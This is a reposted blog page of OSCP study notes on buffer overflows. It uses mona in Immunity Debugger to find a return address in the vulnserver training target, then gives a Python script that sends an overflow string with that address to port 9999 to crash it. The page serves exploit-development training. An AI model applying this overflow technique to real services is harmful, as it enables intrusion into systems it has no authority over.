OSCP Learning Notes - Buffer Overflows(4)

た入场券 2021-12-01 22:58 248阅读 0赞

**Finding the Right Module(mona)**

Mona Module Project website： [https://github.com/corelan/mona][https_github.com_corelan_mona]

1. Download mona.py, and drop it into the 'OyCommands' file.

![347404-20190630223844996-1689500890.png][]

2. Open the vulnserver and Immnity Debugger and attach the vulnserver.

3. Execute mona modules

![347404-20190630232324734-71672961.png][]

![347404-20190630232406476-65938101.png][]

![347404-20190630232737739-122671968.png][]

**625011af**

Set the stop point on "625011af"

**![347404-20190701221947549-1271264360.png][]**

Then run the immunity debugger.

4. Write the following Python test script, and perfom it on Kali Linux.

#!/usr/bin/python
    import socket
    import sys
    
    shellcode = "A" * 2003 + "\xaf\x11\x50\x62"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        connect = s.connect(('10.0.0.XX',9999))
        s.send(('TRUN /.:/' + shellcode))
    except:
        print "check debugger"
    s.close()

5. The vulnserver is crashed,

![347404-20190701222313468-1117298971.png][]

转载于:https://www.cnblogs.com/keepmoving1113/p/11117202.html

[https_github.com_corelan_mona]: https://github.com/corelan/mona
[347404-20190630223844996-1689500890.png]: /images/20211201/fde0cdf94ab243c2bac2071ce290bef7.png
[347404-20190630232324734-71672961.png]: /images/20211201/5ec33742e60744f4994a00eaf3eb6a74.png
[347404-20190630232406476-65938101.png]: /images/20211201/641a503d94a546b58bf9ff0fb6a4bee5.png
[347404-20190630232737739-122671968.png]: /images/20211201/4c7466249a9a47779ebda5b15f919c53.png
[347404-20190701221947549-1271264360.png]: /images/20211201/7f189188427a45c5b2e9cb28ebae5504.png
[347404-20190701222313468-1117298971.png]: /images/20211201/3f8aa7ad1fba40d3a2c6320560a9a577.png

发表评论取消回复

表情：

评论列表（有 0 条评论，248人围观）

还没有评论，来说两句吧...

相关阅读

相关 SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)

1. 漏洞原理漏洞代码示例： include<string.h> void foo(char str) { char buffer[12]; strcpy(b

冷不防/ 2022年10月11日 00:51/ 0 赞/ 289 阅读

相关关于buffer overflow

可能是唯一一篇gb的写overflow的文章,好像译至aleph1的那篇文章 zer9提到后我才想起来把他贴上来,呵呵 Buffer Overflow 机理

短命女/ 2022年08月06日 04:05/ 0 赞/ 224 阅读

相关【嵌入式安全扫盲一】Stack buffer overflow

出处：[https://en.wikipedia.org/wiki/Stack\_buffer\_overflow][https_en.wikipedia.org_wiki_

绝地灬酷狼/ 2022年06月10日 09:51/ 0 赞/ 261 阅读

相关 buffer4

//把buf里的内容copy到b里面，从0开始copy，copy到末尾(三个字节打印一个汉字,此处是5个一打印，会出现乱码) const buf=Buffer.from('中

骑猪看日落/ 2022年05月17日 13:14/ 0 赞/ 130 阅读

相关 buffer4

const buf = Buffer.from('this is a test!'); //buf的长度 console.log(buf.length); //如果all

r囧r小猫/ 2022年05月17日 13:12/ 0 赞/ 155 阅读

相关 4. Note背后

如前所述，Notes数据库的核心就是其中保存各种数据的通用结构note。Notes提供的很多功能都是建立在这种结构上，我们开发的应用程序也是围绕着它的应用，同时受益于和受制于它

绝地灬酷狼/ 2022年05月14日 11:09/ 0 赞/ 154 阅读

相关 Notes on learning RT-Thread——Env

本文参考自 [Rt-thread社区][Rt-thread] [Env用户手册][Env] ![在这里插入图片描述][watermark_type_ZmFuZ3po

﹏ヽ暗。殇╰゛Y/ 2022年04月25日 00:38/ 0 赞/ 238 阅读

相关缓冲区溢出(Buffer Overflow)

堆栈溢出堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前，先了解以下几个概念： 1. 缓冲区简单说来是一块连续的计算机内

川长思鸟来/ 2022年04月22日 15:18/ 0 赞/ 330 阅读

相关 OSCP Learning Notes - Buffer Overflows(4)

Finding the Right Module(mona) Mona Module Project website： [https://github.com/corelan

た入场券/ 2021年12月01日 22:58/ 0 赞/ 249 阅读

相关 OSCP Learning Notes - WebApp Exploitation(5)

Remote File Inclusion\[RFI\] Prepare: Download the DVWA from the following website and

朴灿烈づ我的快乐病毒、/ 2021年10月30日 05:14/ 0 赞/ 283 阅读